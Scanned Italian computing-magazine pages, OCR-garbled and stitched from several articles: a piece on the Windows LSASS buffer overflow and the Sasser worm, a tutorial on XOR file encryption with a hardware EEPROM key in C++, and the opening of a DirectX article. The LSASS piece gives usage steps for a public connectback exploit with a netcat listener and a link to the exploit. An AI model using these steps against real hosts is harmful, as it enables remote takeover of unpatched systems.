Fig. 1: L'exploit di pubblico dominio per la vulnerabilità di LSASS è di tipo 
universale: può bucare infatti senza problemi sia sistemi Windows XP, sia 
Windows 2000. 

rete un exploit perfettamente funzionante e 
pronto all'uso. 

Per il bug del servizio LSASS, il merito dell'ex- 
ploit pubblico va al team di hacker chiamato 
"HOD" (house of dabus) che, con la collabora- 
zione del sito di sicurezza francese www.k- 
otik.com, hanno rilasciato un sorgente C in 
grado di bucare - a detta loro - qualsiasi host di 
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Fig. 2: 1 parametri da passare all'exploit sono il tipo di sistema remoto (0=WinXP 
Pro, l=Win 2000 Pro) e la porta/indirizzo di ritorno per il connectback della shell 
remota. 

tipo Windows XP (SPO / SPI) e Windows 2000 
(SP2 / SP4). 

C'è da dire comunque che la scoperta della vul- 
nerabilità (come al solito, un buffer overflow) nel 
servizio LSASS è opera del gruppo di consulenti 
di sicurezza noto come "eEye" {http:llwww.eeye 
.comlhtmllResearchlAdvisorieslAD20040413C.html) 
che per policy aziendale, da tempo, non pubbli- 
ca mai nessun exploit o proof-of-concept allega- 
to ai suoi advisory. 



L'EXPLOIT 

DEL SERVIZIO LSASS 

LSASS (Locai Security Authority) è un servizio di 
Windows 2000 e XP che gestisce le attività di 
autenticazione e sicurezza del sistema. Quelli di 
voi che hanno seguito i miei articoli sull'attacco 
alle password di Windows, ricorderanno che pro- 
prio questo servizio è responsabile della prote- 
zione del file SAM e degli accessi autenticati alle 
risorse di rete. LSASS è disponibile come servizio 




Fig. 3: Prima di lanciare l'exploit è necessario avviare NetCat (ne) mettendolo in 
listening (comando -p XXX) sulla porta dove il worm connetterà la sua shell. 



attraverso l'interfaccia RPC sulle porte 445 e 139, 
anche tramite NULL-session, cioè per utenti 
anonimi non autenticati, fatto che rende ancor 
più grave la presenza del bug! 
Il bug scoperto da eEye interessa la libreria LSA- 
SRV.DLL ed è un buffer overflow abbastanza 
banale nella funzione di logging vsprintfO: come 
accade negli overflow in genere, manca un con- 
trollo sulle dimensioni degli argomenti passati a 
tale funzione. Di conseguenza, fornendo una 
stringa esageratamente grande, si può sovrascri- 
vere lo stack e iniettare codice nell'area di me- 
moria interessata dal processo che è in esecuzio- 
ne come SYSTEM. 

L'exploit rilasciato dagli HOD è di tipo "connect- 
back", ciò significa che una volta inviato l'attac- 
co tramite un pacchetto malformato sulla porta 
445 dell'host remoto, bisognerà aspettarsi una 
shell di ritorno su una qualche porta del nostro 
PC. Gli exploit di tipo connectback si usano in 
genere combinati con l'utility "NetCat", che può 
aprire socket in ascolto e bindare processi su 
ogni porta. La sequenza di comandi è questa: 

1) apriamo una porta in ascolto (ad esempio 
8080) sul PC "aggressore" usando NetCat (ne 
-1 -p 8080 -v) 

2) eseguiamo l'exploit degli HOD specificando 
come parametro (=WindowsXP) o 1 (=Win- 
dows2000), seguito dall'indirizzo IP del PC 
"vittima" e dalla porta di ritorno aperta sul 
PC "aggressore" (lsasrv-expl.exe 10.0.0.1 
8080) 

Se tutto funziona, dovremmo vedere apparire un 
prompt di MS-DOS nella finestra in cui era in 
esecuzione NetCat. Se per qualche motivo l'host 
attaccato si riawia, signfica che abbiamo sba- 
gliato target (provare ad alternare con 1 e vice- 
versa) o che l'exploit non è compatibile per la 
versione di Windows presente sul PC "vittima". 



IL WORM SASSER 

La situazione in cui fa la sua apparizione il worm 
Sasser, nel primo weekend di Maggio, non è 
quindi delle più felici: in Rete sono ormai dispo- 
nibili da tempo tutte le informazioni sulla vulne- 
rabilità di LSASS e molti siti hanno già pubblica- 
to diversi exploit in grado di bucare qualsiasi 
sistema Windows affetto dal baco; quei pochi 
utenti coscienziosi che hanno installato la patch 
si ritrovano il computer in panne, mentre la 
rimanenza della popolazione di Internet resta 
ignara del pericolo in atto ed è pronta ad essere 
colpita dall'ennesimo worm. Un quadro poco 
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rassicurante, direi. Sasser fa subito capolino nei 
primi giorni di Maggio, in diversi paesi (tra cui 
Stati Uniti e Francia), manifestandosi subito in 
tutta la sua contagiosità e rammentando a molti 
l'attacco del suo "collega " precedente Blaster, a 
causa di un effetto collaterale indesiderato del- 
l'exploit di LSASS: anche in questo caso infatti, 
l'unico sintomo riscontrabile da chi riceve l'at- 
tacco di Sasser è il riawio forzato del PC, causa- 
to dal crash del servizio di sistema citato. 



ver: Ipsecw2k.sys, Imcide.sys, Dlttape.sys. 



System Sliutduwn 



© 



This system is shutting down. Please save ali 
work in progress and log off. Any unsaved 
changes will be lost. This shutdown mas 
initiated by NT AUTHORITY\SYSTEM 



Time bef ore shutdown : 00:00:56 



■Message — 
The system process 
'C: \WI N D WS \siistem32\lsass. exe' 
terminated unexpectedly with status code 
0. The system will now shut down and 
restart. 



Fig. 4: Nel caso in cui l'exploit non funzioni a dovere 
(return address errato o versione di Windows non 
compatibile con il codice) il pacchetto inviato manda 
in crash il sistema; il crash di LSASS coincide col riav- 
vio forzato del PC, proprio come avveniva con Blaster. 



Sfruttando proprio il bug di LSASS, Sasser riesce 
a prendere il controllo di un sistema remoto e dà 
il via alla sua routine infettiva senza che l'utente 
si accorga di nulla e senza alcun tipo di intera- 
zione. 

La routine di infezione rientra tra quelle stan- 
dard dei worm: viene trasferita via ftp una copia 
del worm dalla macchina già infetta a quella vit- 
tima dell'attacco usando un nome casuale com- 
posto da cinque cifre e seguito da "_up.exe", viene 
quindi creata una chiave di avvio nel registro 
(avserve.exe) per fare in modo che il worm venga 
caricato al reboot del computer. 



COLLATERALI DELLE 
PATCH MS04-11 

Nell'articolo 841382 della Knowledge Base, 
Microsoft ha spiegato quali sono alcuni degli 
effetti indesirati della patch MS04-11: blocco del 
sistema in fase di avvio; impossibilità di autenti- 
carsi in Windows; utilizzo della CPU al 100% da 
parte del processo System. Tali problemi sono 
generati dal fatto che Windows 2000 tenta ripe- 
tutamente, senza riuscirvi, di caricare alcuni dri- 




Bollettino di sicurezza MS04-11 e relative patch in grado di fixare ben 14 
vulnerabilità critiche di sistema per Windows XP e 2000. 

www.microsoft.com/technet/securitv/bulletin/ms04-01 1 .mspx 

www.eeve.com/html/Research/Advisories/AD20040413C.html 

Exploit universale per LSASS, in grado di compromettere qualsiasi 
Windows XP/2000 da remoto. Pare che parte del codice del worm Sasser 
sia basato su questo exploit. 

www.k-otik.com/exploits/04292004.HOD-ms04011-lsasrv-expl.cphp 

NetCat, l'utility di connessione indispensabile per testare alcuni exploit 

www.atstake.com/research/tools/network utilities/nd 1 nt.zip 

Bolettini di sicurezza e descrizioni complete sul worm Sasser 

www.microsoft.com/security/incident/sasser.asp 

securitvresponse.svmantec.com/avcenter/venc/data/w32.sasser.worm.html 



COME EVITARE 
L'ARRESTO 
DEL SISTEMA 

Quando si è colpiti dall'exploit di LSASS (o dal 
worm Sasser), è possibile evitare l'arresto forza- 
to del sistema digitando il comando "shutdown 
-a" da un prompt di MS-DOS. In questo modo il 
sistema blocca il reboot, anche senza il servizio 
LSASS (mandato in crash), ma risulterà altamen- 
te instabile. 

Elia Florio 
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F/^. 5: Andando ad effettuate il debug del processo LSASS dopo l'attacco, si può 
notare lo shellcode iniettato, attraverso il buffer overflow, nello stack del processo. 
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Elettronica e C++: tecniche di protezione Hardware 

La protezione 
inattaccabile 

La ricerca di un metodo inattaccabile per la protezione delle 
informazioni e dei sistemi ha sempre acceso l'eterna guerra tra 
hacker e responsabili della sicurezza... 
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Fig. 1: Una visione d'insieme del circuito. 



J-gf REQUISITI 



W.I.I.WJ.UJ.I, 

— Programmazione C++, 
concetti base 
di elettronica 



Windows 
95/98/ME/2000/NT/XP 



Tempo di realizzazione 



000 



robabilmente Giulio Cesare non si rese conto, 
duemila anni fa, di avere iniziato l'eterna lotta 
tra responsabili della sicurezza ed hacker 
quando ideò il primo sistema di codifica della storia 
occidentale, meglio noto come 'Cifrario di Cesare'. Il 
buon Giulio si rendeva benissimo conto, invece, del- 
l'importanza vitale ricoperta della riservatezza delle 
informazioni, quando escogitò un semplice ma effi- 
cace sistema che consentiva di cifrare i suoi ordini 
scritti, per mezzo della traslazione delle lettere che 
componevano il messaggio di tre posizioni ( a=c, 
b-d eccetera ). Da allora iniziò una vera e propria 
battaglia di cervelli tra chi ten- 
tava di proteggere le proprie 
informazioni e chi faceva di 
tutto per scoprirne il contenu- 
to. In queste pagine proponia- 
mo l'implementazione di 
alcuni semplici ma efficaci 
algoritmi di protezione dei 
sistemi, messi in opera utiliz- 
zando la chiave hardware pro- 
posta nel numero precedente. 
Eviteremo accuratamente l'u- 
tilizzo di algoritmi di cifratura 
già noti, per non incorrere in violazione di brevetti 
internazionali, nonostante molti algoritmi siano 
ormai di pubblico dominio. Spero invece di stuzzi- 
care la curiosità del lettore, fornendo oltre agli algo- 
ritmi di cifratura anche un file di testo criptato per 
mezzo di queste tecniche, che ha lo scopo di essere 
una sorta di 'guanto di sfida', ovviamente sportivo e 
bonario, per chiunque voglia tentare di violarlo. Il 
primo che riuscirà in questo intento, entro il mese di 
pubblicazione riportato sulla copertina di questa ri- 
vista, riceverà, oltre ai miei pubblici complimenti, 
tutti i componenti elettronici necessari alla costru- 
zione di una chiave hardware completa, a spese del 
sottoscritto, ovviamente. 



LA CIFRATURA 
SIMMETRICA 

Chiariamo subito che, d'ora innanzi, intenderemo 
indicare con la dicitura 'in chiaro' quelle informazio- 
ni che possono essere comprese da un individuo 
senza l'ausilio di alcuna manipolazione, mentre 
quando parliamo di entità 'cifrate' o 'criptate' voglia- 
mo indicare informazione modificate in modo tale 
da non essere immediatamente e direttamente in- 
tellegibili. In linea generale esistono due metodi 
principali di cifratura delle informazioni, utilizzanti 
rispettivamente chiavi simmetriche ed asimmetri- 
che: nel primo caso viene utilizzata una unica chia- 
ve sia per la cifratura che per la decifratura, mentre 
nel secondo metodo si impiega una chiave pubblica 
per la cifratura ed una chiave privata per la decritta- 
zione delle informazioni. Per maggiori approfondi- 
menti sull'argomento si rimanda il lettore ai testi 
citati in bibliografia. Nell'applicazione che intendia- 
mo sviluppare verrà utilizzata una metodologia di 
codifica simmetrica, utilizzante quindi soltanto una 
unica chiave che ha lo scopo di rendere possibile sia 
la cifratura che la decrittazione delle nostre preziose 
informazioni. Da quanto detto appare ovvio che la 
chiave debba essere assolutamente segreta, dal mo- 
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Fig. 2: L'unica caratteristica in comune tra testo in 
chiaro e testo cifrato è, nella maggior parte dei casi, la 
lunghezza del file. 
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mento che chiunque ne sia in possesso può essere 
in grado di risalire al contenuto dell'informazione 
protetta. La sola conoscenza della chiave, tuttavia, 
non permette di decifrare il documento protetto, se 
non con la individuazione degli algoritmi relativi 
alla selezione della chiave ed alla codifica delle in- 
formazioni. In altre parole è necessaria la conoscen- 
za di come viene estratta la porzione dalla chiave 
completa per la successiva cifratura di un particola- 
re segmento di documento, per mezzo di un deter- 
minato meccanismo di modifica delle informazioni: 
l'applicazione di quanto detto risulterà più chiara 
nell'analisi del codice sorgente proposto in queste 
pagine. Gli algoritmi di selezione della chiave e di 
cifratura nel nostro programma saranno molto sem- 
plici, dal momento che una volta pubblicati su que- 
ste pagine diverranno immediatamente di pubblico 
dominio. Quindi ogni sforzo per renderli robusti ed 
inattaccabili risulterebbe vano. La sicurezza delle in- 
formazioni verrà quindi garantita dall'assoluta se- 
gretezza della chiave di cifratura, contenuta nel di- 
spositivo hardware proposto in questa sede: nessu- 
na copia della chiave verrà memorizzata nel PC, se 
non il singolo byte al momento della codifica e della 
decodifica delle informazioni. L'algoritmo di cifratu- 
ra viene implementato per mezzo di una chiave 
hardware a 16 Kbit, garantendo una notevole re- 
sistenza agli attacchi, sia di crittoanalisi che del tipo 
cosiddetto 'a forza bruta'. 
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Fig. 3: Premendo il pulsante 'Hardware Key ON' si 
provvede ad alimentare la chiave hardware. 



L'ALGORITMO 
CLASSICO: XOR 

La maggior parte degli algoritmi di cifratura com- 
prende al proprio interno almeno un passaggio 
attraverso un operatore logico XOR. L'operazione 
logica in questione può essere facilmente descritta 
analizzandone la tabella della verità riportata di 
seguito. Si nota facilmente che il risultato della ope- 
razione logica è '1 ' soltanto quando una sola tra le 
variabili Ae Bè posta ad 1 ', altrimenti il risultato è 
'0'. L'operatore XOR gode inoltre di alcune impor- 
tanti ed interessanti proprietà. Innanzi tutto notia- 
mo che effettuando per due volte l'operazione in 
questione si ritorna al valore di partenza, ad esem- 



pio effettuando 45h XOR 23h si ottiene 66h, ma 66h 
XOR 23h restituisce nuovamente 45h. La seconda 
sorprendente caratteristica dell'Or esclusivo è quel- 
la di restituire lo stesso valore di partenza se il se- 
condo operando è zero, infatti 45h XOR 00h=45h, 
questo può tornare utile se si desidera risalire al 
valore della chiave, inviando all'algoritmo di codifi- 
ca un valore nullo. Come corollario a quanto appe- 
na detto possiamo notare che, 
eseguendo l'operazione 45h 
XOR FFh=BAh otteniamo 
quindi un valore che risulta il 
complemento del valore di 
partenza, infatti BAh-NOT 
(45h). In definitiva l'operazio- 
ne di OR esclusivo (XOR) tra un 
valore che intendiamo cifrare 
ed una opportuna chiave può 
essere decriptato operando 
nuovamente la stessa opera- 
zione con la medesima chiave 
di cifratura. 





Fig. 4: Per mezzo del software 'IcProg' è possibile 
risalire alla struttura della chiave crypto di esempio 
inclusa nel CD e sul Web. 
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ESEMPIO DI 
CIFRATURA DI UHI FILE 

All'interno del CD allegato alla rivista e precisamen- 
te in 'SymmeticEncryption.ZIP' vengono inclusi tre 
file contenenti un esempio di 
cifratura di un documento di 
testo. In particolare, nel file 
'Esempio _Testo_in Chiaro, txt' è 
contenuto il testo seguente: 
"Questo è un semplice esempio 
di cifratura di un documento di 
testo, è tuttavia possibile pro- 
teggere qualunque tipo di file 
per mezzo di queste tecniche." 
La cifratura del documento 
porta al risultato seguente: 
"bD'__P<§7JA5" a _*_\Zuv_ a n 
CE—±vR_P_E_L_=_-"Ò*_0 
5_8_,_eY&_3[8'_V-_ÈV_n Z_E_ 
_PlE&A_£Ó^,_0_"_[j_qF_O"%_Zì,Ft7„fàa8à_IY 
%o_...-N_ A T_zTiy5€g*TT_V-T a ". Per comodità del 
lettore si propone la chiave di codifica per mezzo del 
quale si è giunti alla definizione dell'esempio in 
questione nel file: 'KEY_EXAMPLE.hex'. Chi di voi 
vorrà divertirsi nella risoluzione del problema pro- 
posto all'inizio dell'articolo potrà cimentarsi alla de- 
codifica del file 'Crack me.txf. 



REALIZZAZIONE DELLA 
CHIAVE HARDWARE 

La chiave hardware può essere realizzata senza sal- 
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Fig. 5: La figura mostra come sia possibile 
selezionare il file da codificare. 
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Tabella V. Tabella iella verità 
^dell'operatore XOR. , 
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fig. 6: Aprendo il file cifrato è possibile decodificarlo 
e salvarlo in chiaro con la stessa chiave hardware. 



dature per mezzo della apparecchiatura PC Explorer 
light, ma anche con i soli componenti elettronici 
elencati a lato di queste pagine, per mezzo del loro 
montaggio su una comune basetta millefori, utiliz- 
zando un saldatore a stagno. Il lettore potrà reperire 
i pochi componenti elettronici che utilizzeremo per 
la costruzione della chiave, in qualunque negozio di 
componenti elettronici, oppure per corrispondenza 
presso la Elisys s.r.l. 
{www.pcexplorer.it). È pos- 
sibile richiedere la dispo- 
nibilità del kit completo 
inviando una e-mail all'in- 
dirizzo spuntosoft@tisca- 
li.it. La lista dei compo- 
nenti necessari viene ri- 
portata a lato di queste pa- 
gine e nel circuito elettrico, 
per comodità e su richiesta 
dei lettori all'interno del 
file SymmeticEncryption 
.ZIP, con il nome: Chiave_- 
Hardware_Schema_Elet- 
trico .bmp. 



ACQUISTARE PC 

EXPLORER 

LIGHT 

L'apparecchiatura PC 
Explorer light è prodot- 
ta e commercializzata 
dalla Elisys s.r.l. e può 
essere acquistata al 
prezzo di €198 +IVA sul 
web all'indirizzo 
www.pcexplorer.it oppure 
inviando una e-mail 
all'indirizzo 
pcexplorer@elisys.it. od 
anche telefonicamente 
al numero 0823/468565 
o via Fax al: 
0823/495483. 



PRECAUZIONI 

Prima di collegare il 

circuito al nostro PC 

occorre verificare la 

nostra realizzazione 

con attenzione per 

assicurarci che tutto sia 

stato collegato come 

previsto. 



IL SOFTWARE C++ 

Dopo avere brevemente analizzato le metodologie 
di cifratura che utilizzeremo nell'applicazione che 
intendiamo proporre in queste pagine, procediamo 
ad analizzarne il codice sorgente. Tralasceremo in 
questa sede la trattazione del codice relativo alla 
gestione della chiave hardware, già descritto nel 
numero precedente della rivista, per ovvi motivi di 
brevità. Il software proposto in queste pagine è in 
grado di provvedere alla programmazione della 
chiave hardware, di leggerne il suo contenuto e di 
operare la cifratura di un qualunque file. Il codice 
sorgente, scritto in C++ viene messo a completa di- 
sposizione del lettore ed è disponibile nel CD con il 
nome: 'SymmeticEncryption.ZIP': in questa sede 
analizziamo soltanto le parti più significative, rima- 
nendo a disposizione del lettore per ogni chiarimen- 
to all'indirizzo: iuca.spuntoni@ioprogrammo.it. La 
cifratura del file avviene attraverso gli algoritmi che 
analizzeremo di seguito, per mezzo della chiave a 
16536 bit contenuta all'interno del relativo dispositi- 
vo hardware: nessuna copia della chiave viene me- 
morizzata, neppure momentaneamente, all'interno 
del PC. La procedura FormCreate provvede ad impo- 
stare le variabili globali ed alcuni componenti della 
form successivamente alla creazione della finestra 
relativa. 

Oltre all'impostazione dei valori di default delle 
varie etichette e dei parametri di comunicazione 
della porta seriale, riveste particolare interesse la 
definizione del componente 'StringGrid' che ha il 



compito di visualizzare su quattro colonne il conte- 
nuto dei file di origine (in chiaro) e di destinazione 
(cifrato). L'utilizzo del componente in questione ha 
ovviamente uno scopo didattico, oltre che di 'debug 1 , 
realativamente ad applicazioni particolarmente 
complesse. 

void fastcall TSpuntoHardwareKeyProgrammerForm: : 

FormCreate(TObject *Sender) 

{ // Sets the labels 

Labell->Caption = IntToStr(PeriodTrackBar->Position); 
EncryptionStatusLabel->Caption = "Not Verified"; 

// Default (COMI) Port setup 

CombaseAddress=0x03f8; 

MCRAddress=CombaseAddress+4; 

LCRAddress=CombaseAddress+3; 

MSRAddress=CombaseAddress+6; 

//Ancilliaries 

Contabit=0; 

DefaultDelay=(PeriodTrackBar->Position)*100; 

//EEPROM Check 

EEPROMCheckQ; 

// String Grid Settings 
StringGrid l->RowCount= 2; 

StringGridl->ColWidths[Q] = 40; 

StringGridl->ColWidths[3] = 90; 

StringGridl->ColWidths[4] = 90; 

StringGridl->Cells[l][Q] = "ClearText"; 

StringGridl->Cells[2][0] = "ASCH Text"; 

StringGridl->Cells[3][0] = "Encrypted Text"; 

StringGridl->Cells[4][0] = "Encrypted ASCII";} 

Il cuore dell'applicazione di cifratura risiede nella 
funzione 'ExecuteEncryptionClick', che riportiamo di 
seguito e che intendiamo analizzare nel dettaglio. 
Nella parte relativa alla dichiarazione delle variabili 
vogliamo fare notare la definizione dei buffers e dei 
relativi handlers che sono necessari alla gestione dei 
file 'in chiaro' (ClearTextBuffer) e 'cifrato' (Encrypted- 
Buffef). Nell'eventualità che, nella fase di salvataggio 
del file cifrato, l'utente scelga un nome già esistente, 
si è deciso di creare un nuovo archivio dotato di una 
estensione alternativa: per questo motivo viene uti- 
lizzata la variabile EncryptedBuffer'. 

void fastcall TSpuntoHardwareKeyProgrammerForm: : 

ExecuteEncryptionClick(TObject *Sender) 
{ ìnt ClearTextFileHandle, EncryptedFileHandle; 

//Clear and Encrypted Buffer Handlers 
int ClearTextFileLenght; 
int ClearTextCharRead; 
int KeyBytePosition; 
char *ClearTextBuffer; 
char * Encrypted Buffer; 
Byte FirstByteRead,SecondByteRead; 
//Hardware Key Temp Bytes 
char AltFileName[MAXFILE+4]; //Alternate filename 

extension 



//Clear Buffer 
//Encrypted Buffer 
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L'apertura del file 'in chiaro' avviene per mezzo della 
relativa finestra di dialogo: vengono quindi creati i 
due buffers che hanno lo scopo di contenere i due 
files relativi all'operazione di cifratura, infine viene 
riempito il buffer ' ' ClearTextBuffef con il contenuto 
del documento da criptare. 

if (OpenDialogl->Execute()) //Opens the file to be 

encrypted{ 

try{ 

ClearTextFileHandle = FileOpen(OpenDialogl-> 

FileName, fmOpenRead); //Opens the file 
ClearTextFileLenght = FileSeek(ClearTextFileHandle,0,2); 

FileSeek(ClearTextFileHandle,Q,Q); 

ClearTextBuffer = new char[ClearTextFileLenght+l]; 

//Creates the Clear buffer 
EncryptedBuffer = new char[ClearTextFileLenght+l]; 

//Creates the Encrypted Buffer 

ClearTextCharRead = FileRead(ClearTextFileHandle, 

ClearTextBuffer, ClearTextFileLenght); 

FileClose(ClearTextFileHandle); //Closes the clear text 

StringGridl->RowCount=2; 

Il ciclo che segue ha lo scopo di effettuare la cifratura 
vera e propria: per il nostro scopo utilizzeremo algo- 
ritmi di selezione della chiave e di cifratura davvero 
semplici. Dal momento che questi metodi vengono 
pubblicati e sono quindi noti al pubblico, risulta inu- 
tile, dal punto di vista della sicurezza, renderli troppo 
complicati, visto che non forniscono alcun 'valore 
aggiunto' di sicurezza al nostro sistema. Semplifican- 
do il codice, abbiamo inoltre la possibilità di render- 
lo maggiormente comprensibile e di mettere in gra- 
do il lettore di sviluppare eventualmente una serie di 
algoritmi adatti alle proprie esigenze. L'algoritmo di 
selezione della porzione della chiave per la successi- 
va codifica nel nostro caso avviene per mezzo della 
semplice lettura sequenziale della memoria 
EEPROM contenuta all'interno della chiave hardwa- 
re. Dal momento che la memoria in questione ha 
una dimensione di 2048 byte, nel caso in cui il file sia 
più lungo di questa quantità la selezione della chiave 
di cifratura riprende nuovamente leggendo il primo 
valore della memoria. Nel caso si voglia aumentare il 
livello di sicurezza dell'algoritmo, operando strabi- 
lianti meccanismi di selezione della chiave, questo 
può essere fatto inserendo l'apposito codice di defi- 
nizione della variabile 'KeyBytePositiorì. Allo scopo di 
verificare l'attendibilità del valore letto dalla chiave 
hardware, si opera una doppia lettura della cella di 
memoria, prowededendo a confrontarne i risultati 
ottenuti. Nel caso si verifichi un errore di lettura, op- 
pure qualora la chiave hardware non sia presente, il 
programma consente comunque di operare la codi- 
fica del file, avvertendo però l'operatore ad ogni byte 
del malfunzionamento. 

for (int i=0;ì<ClearTextCharRead;i ++) 



{ KeyBytePosition = (i % 2048); //INSERT YOUR 

"FANCY" KEY ALGORITHM HERE 

FirstByteRead = Read_data( KeyBytePosition); 

//Reads EEPROM twice 

SecondByteRead = Read_data( KeyBytePosition); 
if ((FirstByteRead ==SecondByteRead)& ( 

SecondByteRead! = 0)) //Verifies crypto key 
{EncryptionStatusLabel->Caption = "OK"; 

//Verification passed } 
else 
{ EncryptionStatusLabel->Caption = "CRYPTO 

FAULT"; //Crypto key verification not passed 
Application->MessageBox("No Crypto found: 

the key might be not present, empty or 
corrupted", "Crypto code Error", IDOK);} 

Analogamente a quanto è stato detto in merito 
all'algoritmo di selezione della chiave, anche per 
quanto riguarda quello di cifratura si è deciso di ri- 
manere al massimo livello di semplicità. L'algoritmo 
di cifratura utilizzato nel nostro caso si limita infatti 
ad eseguire l'operazione XOR tra la porzione di chia- 
ve selezionata dall'algoritmo e la porzione di file da 
crittografare. Anche in questo 
caso si potrà provvedere a ren- 
dere l'algoritmo di cifratura più 
complesso, sempre nell'ottica 
di un aumento della sicurezza 
della protezione delle informa- 
zioni. In seguito alla codifica 
delle informazioni avviene la 
relativa visualizzazione sulla 
griglia 'StringGridl' operando 
una suddivisione delle infor- 
mazioni su quattro colonne, le 
prime due relative al testo 'in 
chiaro' e le ultime contenenti le 
informazioni cifrate. 
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Fig. 7: La schermata del programma mostra la 
fase successiva alla codifica del file:a sinistra il 
testo in chiaro ed a destra quello cifrato. 



//INSERT YOUR "FANCY" CRYPTO ALGORITHM HERE 
EncryptedBuffer[i] = (ClearTextBuffer[i] A 

FirstByteRead); 

StringGridl->RowCount += 1; 
StringGridl->Cells[0][i + l] = IntToStr( 

KeyBytePosition); //Row number 
StringGridl->Cells[l][i + l] = ClearTextBuffer[i]; 

//Clear Text 

StringGridl->Cells[2][i + l] = IntToStr( 

(int)ClearTextBuffer[i]); //Clear ASCII 

StringGridl->Cells[3][i + l] = EncryptedBuffer[i]; 

//Encrypted text 
StringGridl->Cells[4][i + l] = IntToStr( 

(int)EncryptedBuffer[i]); //Encrypted ASCII} 

delete [] ClearTextBuffer; } 

catch(...) 

{ Application->MessageBox("Cannot execute the 

requested operation", "File Error", IDOK);} 




COMPONENTI 

ELETTRONICI 

NECESSARI: 

N1 EEPROM PCF85116-3 

oppure 24C16 
N2 Res. 5600 Ohm Watt 
N1 Res. 330 Ohm _ Watt 
N1 Zener5,1V_Watt 
NI Diodo 1N4148 
N1 Condensatore 100uF 

16V 
N1 Connettore 9 poli 
femmina DB9 
N1 Basetta millefori 

I componenti sono 
reperibili presso il sito 

www.pcexplorer.it 
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Fig. 8: La tabella mostra la posizione, il testo 
ed il codice ASCII del documento in chiaro e del 
corrispettivo file cifrato. 



Avvenuta la cifratura del documento non rimane 
che operarne la relativa registrazione. Per effettuare 
questa operazione viene utilizzata una finestra di 
dialogo che richiede all'utente il nome del file da 
memorizzare. Qualora il nome scelto dall'utente esi- 
sta già si preferisce salvare il documento cifrato con 
una estensione 'BAK' in modo da evitare la distru- 
zione del documento preesistente. 

if (SaveDialogl->Execute()) //Save the Encrypted file 

{ try 

{ if (FileExists(SaveDialogl->FileName)) //If files 
already exists uses the ext. 'BAK' 
{fnsplit(SaveDialogl->FileName.c_str(), 0, 0, 

AltFilelMame, 0); 

strcat(AltFilel\lame, ".BAK"); 

RenameFile(SaveDialogl->FileName, AltFileName);} 
EncryptedFileHandle = FìleCreate(SaveDialogl-> 
FileName); //Creates the file 
FileWrite(EncryptedFileHandle, Encrypted Buffer, 

ClearTextFileLenght); //Save 
FileClose(EncryptedFileHandle); //Close } 

catch(...) { 

Application->MessageBox("Cannot execute the 

requested operation", "File Errar", IDOK);} 
delete [] Encrypted Buffer; //Deletes the encrypted 

buffer }} 

ESECUZIONE ll\l 
AMBIENTE WIN 9.X, ME 

Il programma è stato sviluppato con Borland C++ 
Builder 4, per garantire una miglior portabilità con le 
versioni successive; i program- 
matori che utilizzano VC++ non 
dovrebbero riscontrare problemi 
nel caso di utilizzo dei codici sor- 
genti in questo tipo di ambiente. 
Sono stati utilizzati due compo- 
nenti sviluppati con Delphi 
{TspuntoHardwarePortlO e Spun- 
toLedComponent) che vengono 
distribuiti nel file allegato al CD 
della rivista in forma compilata e 
dotati dei relativi file '.hpp': chiun- 
que desideri ricevere il codice 
sorgente di questi componenti 
può richiederli all'indirizzo luca- 
.spuntoni@ioprogrammo. it. L'in- 
stallazione e l'esecuzione del programma non crea 
difficoltà, il software viene fornito anche nella ver- 
sione completamente compilata e collaudata. 

ESECUZIONE 

IN WIN 2000, NT, XP 

Al fine di consentire l'esecuzione del software, dal 




Fig. 9: 1 led ci alutano a seguire il corretto 
comportamento dell'apparecchiatura. 

momento che questo accede direttamente all'hard- 
ware della macchina, è necessario installare il driver: 
'PortTalk - A Windows NT/2000/ XP I/O Port Device 
Driver Version 2.2' scaricabile all'indirizzo: 'http:// 
www.beyondlogic.org/ porttalklporttalk.htm'. Il file 
'Porttalk22.zip' contiene tutte le istruzioni ne- 
cessarie all'utilizzo corretto del driver, nonché una 
notevole mole di informazioni relative all'accesso 
delle porte hardware del PC: viene fornito inoltre il 
codice sorgente completo delle applicazioni. Per 
quanto riguarda l'utilizzo del programma proposto 
in questa sede sotto Win 2000/ NT/XP è sufficiente 
estrarre i file contenenti il driver 'Porttalk' nella 
directory contenente il programma da utilizzare e 
'chiamare' l'applicazione 'SymmeticEncryption.ZIP' 
attraverso il comando: 

'C:\> Allowio SymmetricEncription.exe / a' 

che consente l'accesso da parte dell'eseguibile 'Sym- 
meticEncryption.ZIP' a tutte le porte del PC. 



CONCLUSIONI 

In questa sede abbiamo realizzato un sistema com- 
pleto di cifratura a chiave simmetrica per mezzo di 
una chiave hardware a 16 Kilobit. Il progetto dello 
schema elettrico, tutti i collegamenti necessari, 
software compilato ed il relativo codice sorgente so- 
no stati messi a completa disposizione del lettore. 
Un doveroso e sentito ringraziamento è dovuto alla 
Philips Semiconductors per avere permesso la pub- 
blicazione delle informazioni relative alla memoria 
EEPROM PCF85116-3. Il lettore vorrà comprendere 
che nonostante quanto esposto in queste pagine sia 
stato debitamente verificato e collaudato, tuttavia 
viene riportato a scopo illustrativo e di studio, per- 
tanto l'editore e l'autore non sono da considerare 
responsabili per eventuali conseguenze derivanti 
dell'utilizzo di quanto esposto in questa sede, 
soprattutto per la tipologia e la complessità dell'ar- 
gomento. 

Luca Spuntoni 
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Approfondiamo le conoscenze sullo sviluppo con DirectX 

Renderizzare con 
DirectX su .NET 

Lo scorso mese abbiamo affrontato i concetti base per lo sviluppo di 
applicazioni multimediali su Windows. Adesso vedremo finalmente 
come iniziare a disegnare sulla nostra finestra con DirectX. 



Nel corso dell'articolo tratteremo le primitive 
di disegno necessarie per disegnare sia le 
più semplici figure geometriche (triangolo, 
quadrato, ecc) come immagini dall'aspetto del tutto 
reale. Chi ha seguito l'articolo presentato nel nume- 
ro 77 di ioProgrammo ha potuto già apprezzare gli 
adapter, i device e i display mode. Al termine di que- 
sto articolo saremo perfettamente in grado di dise- 
gnare le nostre prime forme geometriche come si 
vede dallo screenshot in Fig. 1. Queste primitive so- 
no semplicemente "collezioni" di vertici che defini- 
scono singoli oggetti 3D. Come si è detto nell'artico- 
lo precedente, Direct3D usa il triangolo (il più sem- 
plice dei poligoni) come elemento di base per rap- 
presentare gli oggetti 3D. Ad esempio, per ottenere 
un quadrato servono due triangoli, mentre, se vo- 
gliamo un cubo, abbiamo bisogno di 12 triangoli. 
Per una piramide avremmo bisogno di 2 triangoli 
per la base (quadrata o rettangolare) e di 4 triangoli 
per le quattro facce della piramide. E così via fino a 
disegnare qualsiasi forma, anche la più complessa e 
realistica. Oltre ai triangoli, Direct3D ci permette di 





r 



Fig. 2: Anche i disegni più complessi in realtà non 
sono altro che semplici collezioni di triangoli colorati. 

